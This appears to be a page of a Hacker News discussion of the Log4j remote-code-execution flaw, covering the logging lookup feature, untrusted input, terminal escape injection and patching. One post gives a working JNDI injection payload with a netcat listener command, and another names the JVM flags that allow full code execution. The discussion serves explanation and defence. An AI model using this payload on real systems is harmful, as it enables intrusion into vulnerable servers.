Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4j RCE Found

lunasec.io

Post reply on HN
Print view View original

111–120 of 531 posts

Re: Log4j RCE Found

#111

Post by dylan604 »

dsrw wrote: post #103
dylan604 wrote: post #54

Earlier quoted context omitted.

Why would you ever trust user provided input? Like seriously, ever? I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it. DON'T EV…

I agree, but certain operations need to safely accept untrusted input if I'm going to handle input at all. Running a regex on user input doesn't mean I trust the input. It means I trust my regex engine. I should be able to trust my logger the same way.

if your logger is running an eval, you shouldn't trust it one bit

Re: Log4j RCE Found

#112

Post by maxdamantus »

natanbc wrote: post #107
maxdamantus wrote: post #96

Earlier quoted context omitted.

The string that is vulnerable is actually not meant to be user input, but a formatting string. EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this. The issue occurs in incorrect logging code such as: > logger.info("Data: " + data); But the correct way of logging the above data is: > logger.info("Data: {}", data); It's analogous…

I posted this in reply to a sibling comment, but the "correct" way is still vulnerable Start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")

Thanks, didn't realise that. So the issue is deeper than misuse of user input (I've edited my post).

Re: Log4j RCE Found

#113

Post by phonethrowaway »

hawk_ wrote: post #110
jrockway wrote: post #76

So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal.…

While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?

the point is it's a feature, not an exploit. control and escape codes are a thing for a reason.

it's worse with web stuff though... and it's a real vector.

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+es...

https://packetstormsecurity.com/files/162518/AWS-CloudShell-...

https://nvd.nist.gov/vuln/detail/CVE-2017-0899

https://github.com/InfosecMatter/terminal-escape-injections

Re: Log4j RCE Found

#114

Post by est »

suraci wrote: post #56
est wrote: post #44

Earlier quoted context omitted.

> What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged I encountered a similar problem recently, my own logger can get the current container/pod IP address, it's painful to tell which host from the IPs in logs, so I had to do a manual DNS lookup to include a hostname instead. I was hoping the logger could automatically do a lookup and cache it for me…

Why didn't write logs to stdout and scrape container log files by fluentbit/promtail/etc? I'm working on logging infrastructure now and really want to know the reason behind this(before I built it...)

I do, but with a different log aggregator (vector.dev), there are three reasons:

1. the log aggregator doesn't exactly support DNS lookups

2. You have to parse the log first, exactly precisely where the IP part, then do a proper lookup. But sometimes the log is just a mess.

3. where the log aggregator located cannot do host lookup because of different network and different DNS server.

So overall the lookup would better be done locally.

Re: Log4j RCE Found

#115

Post by tmm1 »

throw_nbvc1234 wrote: post #87
BeefWellington wrote: post #25

Earlier quoted context omitted.

> I don't get what the point of this feature even is. This is basically the response to every type of vulnerability that is based on some spec nobody's read. Same deal with XML entity parsing. Why should it make web requests, FTP requests, etc.? At some point someone had it as a requirement and everyone else gets to live with it.

Which is why they removed the functionality in the latest version (per comments below) right?

Not removed: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9...

Re: Log4j RCE Found

#116

Post by TheDong »

hawk_ wrote: post #110
jrockway wrote: post #76

So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal.…

While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?

> Terminals are run as root all the time

Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?

Re: Log4j RCE Found

#117

Post by markburns »

keyle wrote: post #95
testplzignore wrote: post #20

I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?

So if you have a null pointer exception or something similar in production, you want to send that information to a remote host or alert system to be looked at urgently.

I might be missing something, but wouldn't the point be that it's not the log writer's responsibility to do this, but rather some other service that consumes the unparsed output and sends the notification?

Re: Log4j RCE Found

#118

Post by [deleted] »

brasetvik wrote: post #8
Fabricio20 wrote: post #6

Earlier quoted context omitted.

Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.

That's good clarification, thanks. I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient. While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

[deleted]

Re: Log4j RCE Found

#119

Post by beliu »

freeqaz wrote: post #26

Here's a write up on the exploit and how to patch it. We just wrote this up and posted it a few minutes ago (before this was even on HN, lol). https://www.lunasec.io/docs/blog/log4j-zero-day/

Thank you for this super clear and concise write-up. Used it to write up these instructions for our users and customers to patch the vulnerability across their codebase and sharing here in case it's of use/interest to others: https://twitter.com/beyang/status/1469171471784329219.
Post reply on HN